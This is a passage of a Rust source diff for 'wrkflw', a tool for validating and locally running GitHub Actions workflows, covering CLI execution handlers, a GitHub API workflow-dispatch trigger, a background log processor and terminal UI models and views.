+    println!("Validating {} workflow file(s)...", workflows.len());
+
+    for workflow_path in workflows {
+        match evaluate_workflow_file(&workflow_path, verbose) {
+            Ok(result) => {
+                if result.is_valid {
+                    println!("✅ Valid: {}", workflow_path.display());
+                    valid_count += 1;
+                } else {
+                    println!("❌ Invalid: {}", workflow_path.display());
+                    for (i, issue) in result.issues.iter().enumerate() {
+                        println!("   {}. {}", i + 1, issue);
+                    }
+                    invalid_count += 1;
+                }
+            }
+            Err(e) => {
+                println!("❌ Error processing {}: {}", workflow_path.display(), e);
+                invalid_count += 1;
+            }
+        }
+    }
+
+    println!(
+        "\nSummary: {} valid, {} invalid",
+        valid_count, invalid_count
+    );
+
+    Ok(())
+}
+
+// Execute a workflow through the CLI
+pub async fn execute_workflow_cli(
+    path: &Path,
+    runtime_type: RuntimeType,
+    verbose: bool,
+) -> io::Result<()> {
+    if !path.exists() {
+        return Err(io::Error::new(
+            io::ErrorKind::NotFound,
+            format!("Workflow file does not exist: {}", path.display()),
+        ));
+    }
+
+    println!("Validating workflow...");
+    match evaluate_workflow_file(path, false) {
+        Ok(result) => {
+            if !result.is_valid {
+                println!("❌ Cannot execute invalid workflow: {}", path.display());
+                for (i, issue) in result.issues.iter().enumerate() {
+                    println!("   {}. {}", i + 1, issue);
+                }
+                return Err(io::Error::new(
+                    io::ErrorKind::InvalidData,
+                    "Workflow validation failed",
+                ));
+            }
+        }
+        Err(e) => {
+            return Err(io::Error::other(format!(
+                "Error validating workflow: {}",
+                e
+            )));
+        }
+    }
+
+    // Check container runtime availability if container runtime is selected
+    let runtime_type = match runtime_type {
+        RuntimeType::Docker => {
+            if !wrkflw_executor::docker::is_available() {
+                println!("⚠️ Docker is not available. Using emulation mode instead.");
+                wrkflw_logging::warning("Docker is not available. Using emulation mode instead.");
+                RuntimeType::Emulation
+            } else {
+                RuntimeType::Docker
+            }
+        }
+        RuntimeType::Podman => {
+            if !wrkflw_executor::podman::is_available() {
+                println!("⚠️ Podman is not available. Using emulation mode instead.");
+                wrkflw_logging::warning("Podman is not available. Using emulation mode instead.");
+                RuntimeType::Emulation
+            } else {
+                RuntimeType::Podman
+            }
+        }
+        RuntimeType::SecureEmulation => RuntimeType::SecureEmulation,
+        RuntimeType::Emulation => RuntimeType::Emulation,
+    };
+
+    println!("Executing workflow: {}", path.display());
+    println!("Runtime mode: {:?}", runtime_type);
+
+    // Log the start of the execution in debug mode with more details
+    wrkflw_logging::debug(&format!(
+        "Starting workflow execution: path={}, runtime={:?}, verbose={}",
+        path.display(),
+        runtime_type,
+        verbose
+    ));
+
+    let config = wrkflw_executor::ExecutionConfig {
+        runtime_type,
+        verbose,
+        preserve_containers_on_failure: false, // Default for this path
+        secrets_config: None,                  // Use default secrets configuration
+    };
+
+    match wrkflw_executor::execute_workflow(path, config).await {
+        Ok(result) => {
+            println!("\nWorkflow execution results:");
+
+            // Track if the workflow had any failures
+            let mut any_job_failed = false;
+
+            for job in &result.jobs {
+                match job.status {
+                    JobStatus::Success => {
+                        println!("\n✅ Job succeeded: {}", job.name);
+                    }
+                    JobStatus::Failure => {
+                        println!("\n❌ Job failed: {}", job.name);
+                        any_job_failed = true;
+                    }
+                    JobStatus::Skipped => {
+                        println!("\n⏭️ Job skipped: {}", job.name);
+                    }
+                }
+
+                println!("-------------------------");
+
+                // Log the job details for debug purposes
+                wrkflw_logging::debug(&format!("Job: {}, Status: {:?}", job.name, job.status));
+
+                for step in job.steps.iter() {
+                    match step.status {
+                        StepStatus::Success => {
+                            println!("  ✅ {}", step.name);
+
+                            // Check if this is a GitHub action output that should be hidden
+                            let should_hide = std::env::var("WRKFLW_HIDE_ACTION_MESSAGES")
+                                .map(|val| val == "true")
+                                .unwrap_or(false)
+                                && step.output.contains("Would execute GitHub action:");
+
+                            // Only show output if not hidden and it's short
+                            if !should_hide
+                                && !step.output.trim().is_empty()
+                                && step.output.lines().count() <= 3
+                            {
+                                // For short outputs, show directly
+                                println!("    {}", step.output.trim());
+                            }
+                        }
+                        StepStatus::Failure => {
+                            println!("  ❌ {}", step.name);
+
+                            // Ensure we capture and show exit code
+                            if let Some(exit_code) = step
+                                .output
+                                .lines()
+                                .find(|line| line.trim().starts_with("Exit code:"))
+                                .map(|line| line.trim().to_string())
+                            {
+                                println!("    {}", exit_code);
+                            }
+
+                            // Show command/run details in debug mode
+                            if wrkflw_logging::get_log_level() <= wrkflw_logging::LogLevel::Debug {
+                                if let Some(cmd_output) = step
+                                    .output
+                                    .lines()
+                                    .skip_while(|l| !l.trim().starts_with("$"))
+                                    .take(1)
+                                    .next()
+                                {
+                                    println!("    Command: {}", cmd_output.trim());
+                                }
+                            }
+
+                            // Always show error output from failed steps, but keep it to a reasonable length
+                            let output_lines: Vec<&str> = step
+                                .output
+                                .lines()
+                                .filter(|line| !line.trim().starts_with("Exit code:"))
+                                .collect();
+
+                            if !output_lines.is_empty() {
+                                println!("    Error output:");
+                                for line in output_lines.iter().take(10) {
+                                    println!("    {}", line.trim().replace('\n', "\n    "));
+                                }
+
+                                if output_lines.len() > 10 {
+                                    println!(
+                                        "    ... (and {} more lines)",
+                                        output_lines.len() - 10
+                                    );
+                                    println!("    Use --debug to see full output");
+                                }
+                            }
+                        }
+                        StepStatus::Skipped => {
+                            println!("  ⏭️ {} (skipped)", step.name);
+                        }
+                    }
+
+                    // Always log the step details for debug purposes
+                    wrkflw_logging::debug(&format!(
+                        "Step: {}, Status: {:?}, Output length: {} lines",
+                        step.name,
+                        step.status,
+                        step.output.lines().count()
+                    ));
+
+                    // In debug mode, log all step output
+                    if wrkflw_logging::get_log_level() == wrkflw_logging::LogLevel::Debug
+                        && !step.output.trim().is_empty()
+                    {
+                        wrkflw_logging::debug(&format!(
+                            "Step output for '{}': \n{}",
+                            step.name, step.output
+                        ));
+                    }
+                }
+            }
+
+            if any_job_failed {
+                println!("\n❌ Workflow completed with failures");
+                // In the case of failure, we'll also inform the user about the debug option
+                // if they're not already using it
+                if wrkflw_logging::get_log_level() > wrkflw_logging::LogLevel::Debug {
+                    println!("    Run with --debug for more detailed output");
+                }
+            } else {
+                println!("\n✅ Workflow completed successfully!");
+            }
+
+            Ok(())
+        }
+        Err(e) => {
+            println!("❌ Failed to execute workflow: {}", e);
+            wrkflw_logging::error(&format!("Failed to execute workflow: {}", e));
+            Err(io::Error::other(e))
+        }
+    }
+}
+
+// Helper function to execute workflow trigger using curl
+pub async fn execute_curl_trigger(
+    workflow_name: &str,
+    branch: Option<&str>,
+) -> Result<(Vec<wrkflw_executor::JobResult>, ()), String> {
+    // Get GitHub token
+    let token = std::env::var("GITHUB_TOKEN").map_err(|_| {
+        "GitHub token not found. Please set GITHUB_TOKEN environment variable".to_string()
+    })?;
+
+    // Debug log to check if GITHUB_TOKEN is set
+    match std::env::var("GITHUB_TOKEN") {
+        Ok(token) => wrkflw_logging::info(&format!("GITHUB_TOKEN is set: {}", &token[..5])), // Log first 5 characters for security
+        Err(_) => wrkflw_logging::error("GITHUB_TOKEN is not set"),
+    }
+
+    // Get repository information
+    let repo_info = wrkflw_github::get_repo_info()
+        .map_err(|e| format!("Failed to get repository info: {}", e))?;
+
+    // Determine branch to use
+    let branch_ref = branch.unwrap_or(&repo_info.default_branch);
+
+    // Extract just the workflow name from the path if it's a full path
+    let workflow_name = if workflow_name.contains('/') {
+        Path::new(workflow_name)
+            .file_stem()
+            .and_then(|s| s.to_str())
+            .ok_or_else(|| "Invalid workflow name".to_string())?
+    } else {
+        workflow_name
+    };
+
+    wrkflw_logging::info(&format!("Using workflow name: {}", workflow_name));
+
+    // Construct JSON payload
+    let payload = serde_json::json!({
+        "ref": branch_ref
+    });
+
+    // Construct API URL
+    let url = format!(
+        "https://api.github.com/repos/{}/{}/actions/workflows/{}.yml/dispatches",
+        repo_info.owner, repo_info.repo, workflow_name
+    );
+
+    wrkflw_logging::info(&format!("Triggering workflow at URL: {}", url));
+
+    // Create a reqwest client
+    let client = reqwest::Client::new();
+
+    // Send the request using reqwest
+    let response = client
+        .post(&url)
+        .header("Authorization", format!("Bearer {}", token.trim()))
+        .header("Accept", "application/vnd.github.v3+json")
+        .header("Content-Type", "application/json")
+        .header("User-Agent", "wrkflw-cli")
+        .json(&payload)
+        .send()
+        .await
+        .map_err(|e| format!("Failed to send request: {}", e))?;
+
+    if !response.status().is_success() {
+        let status = response.status().as_u16();
+        let error_message = response
+            .text()
+            .await
+            .unwrap_or_else(|_| format!("Unknown error (HTTP {})", status));
+
+        return Err(format!("API error: {} - {}", status, error_message));
+    }
+
+    // Success message with URL to view the workflow
+    let success_msg = format!(
+        "Workflow triggered successfully. View it at: https://github.com/{}/{}/actions/workflows/{}.yml",
+        repo_info.owner, repo_info.repo, workflow_name
+    );
+
+    // Create a job result structure
+    let job_result = wrkflw_executor::JobResult {
+        name: "GitHub Trigger".to_string(),
+        status: wrkflw_executor::JobStatus::Success,
+        steps: vec![wrkflw_executor::StepResult {
+            name: "Remote Trigger".to_string(),
+            status: wrkflw_executor::StepStatus::Success,
+            output: success_msg,
+        }],
+        logs: "Workflow triggered remotely on GitHub".to_string(),
+    };
+
+    Ok((vec![job_result], ()))
+}
+
+// Extract common workflow execution logic to avoid duplication
+pub fn start_next_workflow_execution(
+    app: &mut App,
+    tx_clone: &mpsc::Sender<ExecutionResultMsg>,
+    verbose: bool,
+) {
+    if let Some(next_idx) = app.get_next_workflow_to_execute() {
+        app.current_execution = Some(next_idx);
+        let tx_clone_inner = tx_clone.clone();
+        let workflow_path = app.workflows[next_idx].path.clone();
+
+        // Log whether verbose mode is enabled
+        if verbose {
+            app.logs
+                .push("Verbose mode: Step outputs will be displayed in full".to_string());
+            wrkflw_logging::info("Verbose mode: Step outputs will be displayed in full");
+        } else {
+            app.logs.push(
+                "Standard mode: Only step status will be shown (use --verbose for full output)"
+                    .to_string(),
+            );
+            wrkflw_logging::info(
+                "Standard mode: Only step status will be shown (use --verbose for full output)",
+            );
+        }
+
+        // Check container runtime availability again if container runtime is selected
+        let runtime_type = match app.runtime_type {
+            RuntimeType::Docker => {
+                // Use safe FD redirection to check Docker availability
+                let is_docker_available = match wrkflw_utils::fd::with_stderr_to_null(
+                    wrkflw_executor::docker::is_available,
+                ) {
+                    Ok(result) => result,
+                    Err(_) => {
+                        wrkflw_logging::debug(
+                            "Failed to redirect stderr when checking Docker availability.",
+                        );
+                        false
+                    }
+                };
+
+                if !is_docker_available {
+                    app.logs
+                        .push("Docker is not available. Using emulation mode instead.".to_string());
+                    wrkflw_logging::warning(
+                        "Docker is not available. Using emulation mode instead.",
+                    );
+                    RuntimeType::Emulation
+                } else {
+                    RuntimeType::Docker
+                }
+            }
+            RuntimeType::Podman => {
+                // Use safe FD redirection to check Podman availability
+                let is_podman_available = match wrkflw_utils::fd::with_stderr_to_null(
+                    wrkflw_executor::podman::is_available,
+                ) {
+                    Ok(result) => result,
+                    Err(_) => {
+                        wrkflw_logging::debug(
+                            "Failed to redirect stderr when checking Podman availability.",
+                        );
+                        false
+                    }
+                };
+
+                if !is_podman_available {
+                    app.logs
+                        .push("Podman is not available. Using emulation mode instead.".to_string());
+                    wrkflw_logging::warning(
+                        "Podman is not available. Using emulation mode instead.",
+                    );
+                    RuntimeType::Emulation
+                } else {
+                    RuntimeType::Podman
+                }
+            }
+            RuntimeType::SecureEmulation => RuntimeType::SecureEmulation,
+            RuntimeType::Emulation => RuntimeType::Emulation,
+        };
+
+        let validation_mode = app.validation_mode;
+        let preserve_containers_on_failure = app.preserve_containers_on_failure;
+
+        // Update workflow status and add execution details
+        app.workflows[next_idx].status = WorkflowStatus::Running;
+
+        // Initialize execution details if not already done
+        if app.workflows[next_idx].execution_details.is_none() {
+            app.workflows[next_idx].execution_details = Some(WorkflowExecution {
+                jobs: Vec::new(),
+                start_time: Local::now(),
+                end_time: None,
+                logs: Vec::new(),
+                progress: 0.0,
+            });
+        }
+
+        thread::spawn(move || {
+            let rt = match tokio::runtime::Runtime::new() {
+                Ok(runtime) => runtime,
+                Err(e) => {
+                    let _ = tx_clone_inner.send((
+                        next_idx,
+                        Err(format!("Failed to create Tokio runtime: {}", e)),
+                    ));
+                    return;
+                }
+            };
+
+            let result = rt.block_on(async {
+                if validation_mode {
+                    // Perform validation instead of execution
+                    match evaluate_workflow_file(&workflow_path, verbose) {
+                        Ok(validation_result) => {
+                            // Create execution result based on validation
+                            let status = if validation_result.is_valid {
+                                wrkflw_executor::JobStatus::Success
+                            } else {
+                                wrkflw_executor::JobStatus::Failure
+                            };
+
+                            // Create a synthetic job result for validation
+                            let jobs = vec![wrkflw_executor::JobResult {
+                                name: "Validation".to_string(),
+                                status,
+                                steps: vec![wrkflw_executor::StepResult {
+                                    name: "Validator".to_string(),
+                                    status: if validation_result.is_valid {
+                                        wrkflw_executor::StepStatus::Success
+                                    } else {
+                                        wrkflw_executor::StepStatus::Failure
+                                    },
+                                    output: validation_result.issues.join("\n"),
+                                }],
+                                logs: format!(
+                                    "Validation result: {}",
+                                    if validation_result.is_valid {
+                                        "PASSED"
+                                    } else {
+                                        "FAILED"
+                                    }
+                                ),
+                            }];
+
+                            Ok((jobs, ()))
+                        }
+                        Err(e) => Err(e.to_string()),
+                    }
+                } else {
+                    // Use safe FD redirection for execution
+                    let config = wrkflw_executor::ExecutionConfig {
+                        runtime_type,
+                        verbose,
+                        preserve_containers_on_failure,
+                        secrets_config: None, // Use default secrets configuration
+                    };
+
+                    let execution_result = wrkflw_utils::fd::with_stderr_to_null(|| {
+                        futures::executor::block_on(async {
+                            wrkflw_executor::execute_workflow(&workflow_path, config).await
+                        })
+                    })
+                    .map_err(|e| format!("Failed to redirect stderr during execution: {}", e))?;
+
+                    match execution_result {
+                        Ok(execution_result) => {
+                            // Send back the job results in a wrapped result
+                            Ok((execution_result.jobs, ()))
+                        }
+                        Err(e) => Err(e.to_string()),
+                    }
+                }
+            });
+
+            // Only send if we get a valid result
+            if let Err(e) = tx_clone_inner.send((next_idx, result)) {
+                wrkflw_logging::error(&format!("Error sending execution result: {}", e));
+            }
+        });
+    } else {
+        app.running = false;
+        let timestamp = Local::now().format("%H:%M:%S").to_string();
+        app.logs
+            .push(format!("[{}] All workflows completed execution", timestamp));
+        wrkflw_logging::info("All workflows completed execution");
+    }
+}

crates/ui/src/lib.rs

@@ -0,0 +1,23 @@
+// Modular UI crate for wrkflw
+//
+// This crate is organized into several modules:
+// - app: Contains the main App state and TUI entry point
+// - models: Contains the data structures for the UI
+// - components: Contains reusable UI elements
+// - handlers: Contains workflow handling logic
+// - utils: Contains utility functions
+// - views: Contains UI rendering code
+
+// Re-export public modules
+pub mod app;
+pub mod components;
+pub mod handlers;
+pub mod log_processor;
+pub mod models;
+pub mod utils;
+pub mod views;
+
+// Re-export main entry points
+pub use app::run_wrkflw_tui;
+pub use handlers::workflow::execute_workflow_cli;
+pub use handlers::workflow::validate_workflow;

crates/ui/src/log_processor.rs

@@ -0,0 +1,305 @@
+// Background log processor for asynchronous log filtering and formatting
+use crate::models::LogFilterLevel;
+use ratatui::{
+    style::{Color, Style},
+    text::{Line, Span},
+    widgets::{Cell, Row},
+};
+use std::sync::mpsc;
+use std::thread;
+use std::time::{Duration, Instant};
+
+/// Processed log entry ready for rendering
+#[derive(Debug, Clone)]
+pub struct ProcessedLogEntry {
+    pub timestamp: String,
+    pub log_type: String,
+    pub log_style: Style,
+    pub content_spans: Vec<Span<'static>>,
+}
+
+impl ProcessedLogEntry {
+    /// Convert to a table row for rendering
+    pub fn to_row(&self) -> Row<'static> {
+        Row::new(vec![
+            Cell::from(self.timestamp.clone()),
+            Cell::from(self.log_type.clone()).style(self.log_style),
+            Cell::from(Line::from(self.content_spans.clone())),
+        ])
+    }
+}
+
+/// Request to update log processing parameters
+#[derive(Debug, Clone)]
+pub struct LogProcessingRequest {
+    pub search_query: String,
+    pub filter_level: Option<LogFilterLevel>,
+    pub app_logs: Vec<String>,    // Complete app logs
+    pub app_logs_count: usize,    // To detect changes in app logs
+    pub system_logs_count: usize, // To detect changes in system logs
+}
+
+/// Response with processed logs
+#[derive(Debug, Clone)]
+pub struct LogProcessingResponse {
+    pub processed_logs: Vec<ProcessedLogEntry>,
+    pub total_log_count: usize,
+    pub filtered_count: usize,
+    pub search_matches: Vec<usize>, // Indices of logs that match search
+}
+
+/// Background log processor
+pub struct LogProcessor {
+    request_tx: mpsc::Sender<LogProcessingRequest>,
+    response_rx: mpsc::Receiver<LogProcessingResponse>,
+    _worker_handle: thread::JoinHandle<()>,
+}
+
+impl LogProcessor {
+    /// Create a new log processor with a background worker thread
+    pub fn new() -> Self {
+        let (request_tx, request_rx) = mpsc::channel::<LogProcessingRequest>();
+        let (response_tx, response_rx) = mpsc::channel::<LogProcessingResponse>();
+
+        let worker_handle = thread::spawn(move || {
+            Self::worker_loop(request_rx, response_tx);
+        });
+
+        Self {
+            request_tx,
+            response_rx,
+            _worker_handle: worker_handle,
+        }
+    }
+
+    /// Send a processing request (non-blocking)
+    pub fn request_update(
+        &self,
+        request: LogProcessingRequest,
+    ) -> Result<(), mpsc::SendError<LogProcessingRequest>> {
+        self.request_tx.send(request)
+    }
+
+    /// Try to get the latest processed logs (non-blocking)
+    pub fn try_get_update(&self) -> Option<LogProcessingResponse> {
+        self.response_rx.try_recv().ok()
+    }
+
+    /// Background worker loop
+    fn worker_loop(
+        request_rx: mpsc::Receiver<LogProcessingRequest>,
+        response_tx: mpsc::Sender<LogProcessingResponse>,
+    ) {
+        let mut last_request: Option<LogProcessingRequest> = None;
+        let mut last_processed_time = Instant::now();
+        let mut cached_logs: Vec<String> = Vec::new();
+        let mut cached_app_logs_count = 0;
+        let mut cached_system_logs_count = 0;
+
+        loop {
+            // Check for new requests with a timeout to allow periodic processing
+            let request = match request_rx.recv_timeout(Duration::from_millis(100)) {
+                Ok(req) => Some(req),
+                Err(mpsc::RecvTimeoutError::Timeout) => None,
+                Err(mpsc::RecvTimeoutError::Disconnected) => break,
+            };
+
+            // Update request if we received one
+            if let Some(req) = request {
+                last_request = Some(req);
+            }
+
+            // Process if we have a request and enough time has passed since last processing
+            if let Some(ref req) = last_request {
+                let should_process = last_processed_time.elapsed() > Duration::from_millis(50)
+                    && (cached_app_logs_count != req.app_logs_count
+                        || cached_system_logs_count != req.system_logs_count
+                        || cached_logs.is_empty());
+
+                if should_process {
+                    // Refresh log cache if log counts changed
+                    if cached_app_logs_count != req.app_logs_count
+                        || cached_system_logs_count != req.system_logs_count
+                        || cached_logs.is_empty()
+                    {
+                        cached_logs = Self::get_combined_logs(&req.app_logs);
+                        cached_app_logs_count = req.app_logs_count;
+                        cached_system_logs_count = req.system_logs_count;
+                    }
+
+                    let response = Self::process_logs(&cached_logs, req);
+
+                    if response_tx.send(response).is_err() {
+                        break; // Receiver disconnected
+                    }
+
+                    last_processed_time = Instant::now();
+                }
+            }
+        }
+    }
+
+    /// Get combined app and system logs
+    fn get_combined_logs(app_logs: &[String]) -> Vec<String> {
+        let mut all_logs = Vec::new();
+
+        // Add app logs
+        for log in app_logs {
+            all_logs.push(log.clone());
+        }
+
+        // Add system logs
+        for log in wrkflw_logging::get_logs() {
+            all_logs.push(log.clone());
+        }
+
+        all_logs
+    }
+
+    /// Process logs according to search and filter criteria
+    fn process_logs(all_logs: &[String], request: &LogProcessingRequest) -> LogProcessingResponse {
+        // Filter logs based on search query and filter level
+        let mut filtered_logs = Vec::new();
+        let mut search_matches = Vec::new();
+
+        for (idx, log) in all_logs.iter().enumerate() {
+            let passes_filter = match &request.filter_level {
+                None => true,
+                Some(level) => level.matches(log),
+            };
+
+            let matches_search = if request.search_query.is_empty() {
+                true
+            } else {
+                log.to_lowercase()
+                    .contains(&request.search_query.to_lowercase())
+            };
+
+            if passes_filter && matches_search {
+                filtered_logs.push((idx, log));
+                if matches_search && !request.search_query.is_empty() {
+                    search_matches.push(filtered_logs.len() - 1);
+                }
+            }
+        }
+
+        // Process filtered logs into display format
+        let processed_logs: Vec<ProcessedLogEntry> = filtered_logs
+            .iter()
+            .map(|(_, log_line)| Self::process_log_entry(log_line, &request.search_query))
+            .collect();
+
+        LogProcessingResponse {
+            processed_logs,
+            total_log_count: all_logs.len(),
+            filtered_count: filtered_logs.len(),
+            search_matches,
+        }
+    }
+
+    /// Process a single log entry into display format
+    fn process_log_entry(log_line: &str, search_query: &str) -> ProcessedLogEntry {
+        // Extract timestamp from log format [HH:MM:SS]
+        let timestamp = if log_line.starts_with('[') && log_line.contains(']') {
+            let end = log_line.find(']').unwrap_or(0);
+            if end > 1 {
+                log_line[1..end].to_string()
+            } else {
+                "??:??:??".to_string()
+            }
+        } else {
+            "??:??:??".to_string()
+        };
+
+        // Determine log type and style
+        let (log_type, log_style) =
+            if log_line.contains("Error") || log_line.contains("error") || log_line.contains("❌")
+            {
+                ("ERROR", Style::default().fg(Color::Red))
+            } else if log_line.contains("Warning")
+                || log_line.contains("warning")
+                || log_line.contains("⚠️")
+            {
+                ("WARN", Style::default().fg(Color::Yellow))
+            } else if log_line.contains("Success")
+                || log_line.contains("success")
+                || log_line.contains("✅")
+            {
+                ("SUCCESS", Style::default().fg(Color::Green))
+            } else if log_line.contains("Running")
+                || log_line.contains("running")
+                || log_line.contains("⟳")
+            {
+                ("INFO", Style::default().fg(Color::Cyan))
+            } else if log_line.contains("Triggering") || log_line.contains("triggered") {
+                ("TRIG", Style::default().fg(Color::Magenta))
+            } else {
+                ("INFO", Style::default().fg(Color::Gray))
+            };
+
+        // Extract content after timestamp
+        let content = if log_line.starts_with('[') && log_line.contains(']') {
+            let start = log_line.find(']').unwrap_or(0) + 1;
+            log_line[start..].trim()
+        } else {
+            log_line
+        };
+
+        // Create content spans with search highlighting
+        let content_spans = if !search_query.is_empty() {
+            Self::highlight_search_matches(content, search_query)
+        } else {
+            vec![Span::raw(content.to_string())]
+        };
+
+        ProcessedLogEntry {
+            timestamp,
+            log_type: log_type.to_string(),
+            log_style,
+            content_spans,
+        }
+    }
+
+    /// Highlight search matches in content
+    fn highlight_search_matches(content: &str, search_query: &str) -> Vec<Span<'static>> {
+        let mut spans = Vec::new();
+        let lowercase_content = content.to_lowercase();
+        let lowercase_query = search_query.to_lowercase();
+
+        if lowercase_content.contains(&lowercase_query) {
+            let mut last_idx = 0;
+            while let Some(idx) = lowercase_content[last_idx..].find(&lowercase_query) {
+                let real_idx = last_idx + idx;
+
+                // Add text before match
+                if real_idx > last_idx {
+                    spans.push(Span::raw(content[last_idx..real_idx].to_string()));
+                }
+
+                // Add matched text with highlight
+                let match_end = real_idx + search_query.len();
+                spans.push(Span::styled(
+                    content[real_idx..match_end].to_string(),
+                    Style::default().bg(Color::Yellow).fg(Color::Black),
+                ));
+
+                last_idx = match_end;
+            }
+
+            // Add remaining text after last match
+            if last_idx < content.len() {
+                spans.push(Span::raw(content[last_idx..].to_string()));
+            }
+        } else {
+            spans.push(Span::raw(content.to_string()));
+        }
+
+        spans
+    }
+}
+
+impl Default for LogProcessor {
+    fn default() -> Self {
+        Self::new()
+    }
+}

crates/ui/src/models/mod.rs

@@ -0,0 +1,100 @@
+// UI Models for wrkflw
+use chrono::Local;
+use std::path::PathBuf;
+use wrkflw_executor::{JobStatus, StepStatus};
+
+/// Type alias for the complex execution result type
+pub type ExecutionResultMsg = (usize, Result<(Vec<wrkflw_executor::JobResult>, ()), String>);
+
+/// Represents an individual workflow file
+pub struct Workflow {
+    pub name: String,
+    pub path: PathBuf,
+    pub selected: bool,
+    pub status: WorkflowStatus,
+    pub execution_details: Option<WorkflowExecution>,
+}
+
+/// Status of a workflow
+#[derive(Debug, Clone, PartialEq)]
+pub enum WorkflowStatus {
+    NotStarted,
+    Running,
+    Success,
+    Failed,
+    Skipped,
+}
+
+/// Detailed execution information
+pub struct WorkflowExecution {
+    pub jobs: Vec<JobExecution>,
+    pub start_time: chrono::DateTime<Local>,
+    pub end_time: Option<chrono::DateTime<Local>>,
+    pub logs: Vec<String>,
+    pub progress: f64, // 0.0 - 1.0 for progress bar
+}
+
+/// Job execution details
+pub struct JobExecution {
+    pub name: String,
+    pub status: JobStatus,
+    pub steps: Vec<StepExecution>,
+    pub logs: Vec<String>,
+}
+
+/// Step execution details
+pub struct StepExecution {
+    pub name: String,
+    pub status: StepStatus,
+    pub output: String,
+}
+
+/// Log filter levels
+#[derive(Debug, Clone, PartialEq)]
+pub enum LogFilterLevel {
+    Info,
+    Warning,
+    Error,
+    Success,
+    Trigger,
+    All,
+}
+
+impl LogFilterLevel {
+    pub fn matches(&self, log: &str) -> bool {
+        match self {
+            LogFilterLevel::Info => {
+                log.contains("ℹ️") || (log.contains("INFO") && !log.contains("SUCCESS"))
+            }
+            LogFilterLevel::Warning => log.contains("⚠️") || log.contains("WARN"),
+            LogFilterLevel::Error => log.contains("❌") || log.contains("ERROR"),
+            LogFilterLevel::Success => log.contains("SUCCESS") || log.contains("success"),
+            LogFilterLevel::Trigger => {
+                log.contains("Triggering") || log.contains("triggered") || log.contains("TRIG")
+            }
+            LogFilterLevel::All => true,
+        }
+    }
+
+    pub fn next(&self) -> Self {
+        match self {
+            LogFilterLevel::All => LogFilterLevel::Info,
+            LogFilterLevel::Info => LogFilterLevel::Warning,
+            LogFilterLevel::Warning => LogFilterLevel::Error,
+            LogFilterLevel::Error => LogFilterLevel::Success,
+            LogFilterLevel::Success => LogFilterLevel::Trigger,
+            LogFilterLevel::Trigger => LogFilterLevel::All,
+        }
+    }
+
+    pub fn to_string(&self) -> &str {
+        match self {
+            LogFilterLevel::All => "ALL",
+            LogFilterLevel::Info => "INFO",
+            LogFilterLevel::Warning => "WARNING",
+            LogFilterLevel::Error => "ERROR",
+            LogFilterLevel::Success => "SUCCESS",
+            LogFilterLevel::Trigger => "TRIGGER",
+        }
+    }
+}

crates/ui/src/utils/mod.rs

@@ -0,0 +1,53 @@
+// UI utilities
+use crate::models::{Workflow, WorkflowStatus};
+use std::path::{Path, PathBuf};
+use wrkflw_utils::is_workflow_file;
+
+/// Find and load all workflow files in a directory
+pub fn load_workflows(dir_path: &Path) -> Vec<Workflow> {
+    let mut workflows = Vec::new();
+
+    // Default path is .github/workflows
+    let default_workflows_dir = Path::new(".github").join("workflows");
+    let is_default_dir = dir_path == default_workflows_dir || dir_path.ends_with("workflows");
+
+    if let Ok(entries) = std::fs::read_dir(dir_path) {
+        for entry in entries.flatten() {
+            let path = entry.path();
+            if path.is_file() && (is_workflow_file(&path) || !is_default_dir) {
+                // Get just the base name without extension
+                let name = path.file_stem().map_or_else(
+                    || "[unknown]".to_string(),
+                    |fname| fname.to_string_lossy().into_owned(),
+                );
+
+                workflows.push(Workflow {
+                    name,
+                    path,
+                    selected: false,
+                    status: WorkflowStatus::NotStarted,
+                    execution_details: None,
+                });
+            }
+        }
+    }
+
+    // Check for GitLab CI pipeline file in the root directory if we're in the default GitHub workflows dir
+    if is_default_dir {
+        // Look for .gitlab-ci.yml in the repository root
+        let gitlab_ci_path = PathBuf::from(".gitlab-ci.yml");
+        if gitlab_ci_path.exists() && gitlab_ci_path.is_file() {
+            workflows.push(Workflow {
+                name: "gitlab-ci".to_string(),
+                path: gitlab_ci_path,
+                selected: false,
+                status: WorkflowStatus::NotStarted,
+                execution_details: None,
+            });
+        }
+    }
+
+    // Sort workflows by name
+    workflows.sort_by(|a, b| a.name.cmp(&b.name));
+    workflows
+}

crates/ui/src/views/execution_tab.rs

@@ -0,0 +1,361 @@
+// Execution tab rendering
+use crate::app::App;
+use crate::models::WorkflowStatus;
+use ratatui::{
+    backend::CrosstermBackend,
+    layout::{Alignment, Constraint, Direction, Layout, Rect},
+    style::{Color, Modifier, Style},
+    text::{Line, Span},
+    widgets::{Block, BorderType, Borders, Gauge, List, ListItem, Paragraph},
+    Frame,
+};
+use std::io;
+
+// Render the execution tab
+pub fn render_execution_tab(
+    f: &mut Frame<CrosstermBackend<io::Stdout>>,
+    app: &mut App,
+    area: Rect,
+) {
+    // Get the workflow index either from current_execution or selected workflow
+    let current_workflow_idx = app
+        .current_execution
+        .or_else(|| app.workflow_list_state.selected())
+        .filter(|&idx| idx < app.workflows.len());
+
+    if let Some(idx) = current_workflow_idx {
+        let workflow = &app.workflows[idx];
+
+        // Split the area into sections
+        let chunks = Layout::default()
+            .direction(Direction::Vertical)
+            .constraints(
+                [
+                    Constraint::Length(5), // Workflow info with progress bar
+                    Constraint::Min(5),    // Jobs list or Remote execution info
+                    Constraint::Length(7), // Execution info
+                ]
+                .as_ref(),
+            )
+            .margin(1)
+            .split(area);
+
+        // Workflow info section
+        let status_text = match workflow.status {
+            WorkflowStatus::NotStarted => "Not Started",
+            WorkflowStatus::Running => "Running",
+            WorkflowStatus::Success => "Success",
+            WorkflowStatus::Failed => "Failed",
+            WorkflowStatus::Skipped => "Skipped",
+        };
+
+        let status_style = match workflow.status {
+            WorkflowStatus::NotStarted => Style::default().fg(Color::Gray),
+            WorkflowStatus::Running => Style::default().fg(Color::Cyan),
+            WorkflowStatus::Success => Style::default().fg(Color::Green),
+            WorkflowStatus::Failed => Style::default().fg(Color::Red),
+            WorkflowStatus::Skipped => Style::default().fg(Color::Yellow),
+        };
+
+        let mut workflow_info = vec![
+            Line::from(vec![
+                Span::styled("Workflow: ", Style::default().fg(Color::Blue)),
+                Span::styled(
+                    workflow.name.clone(),
+                    Style::default()
+                        .fg(Color::White)
+                        .add_modifier(Modifier::BOLD),
+                ),
+            ]),
+            Line::from(vec![
+                Span::styled("Status: ", Style::default().fg(Color::Blue)),
+                Span::styled(status_text, status_style),
+            ]),
+        ];
+
+        // Add progress bar for running workflows or workflows with execution details
+        if let Some(execution) = &workflow.execution_details {
+            // Calculate progress
+            let progress = execution.progress;
+
+            // Add progress bar
+            let gauge_color = match workflow.status {
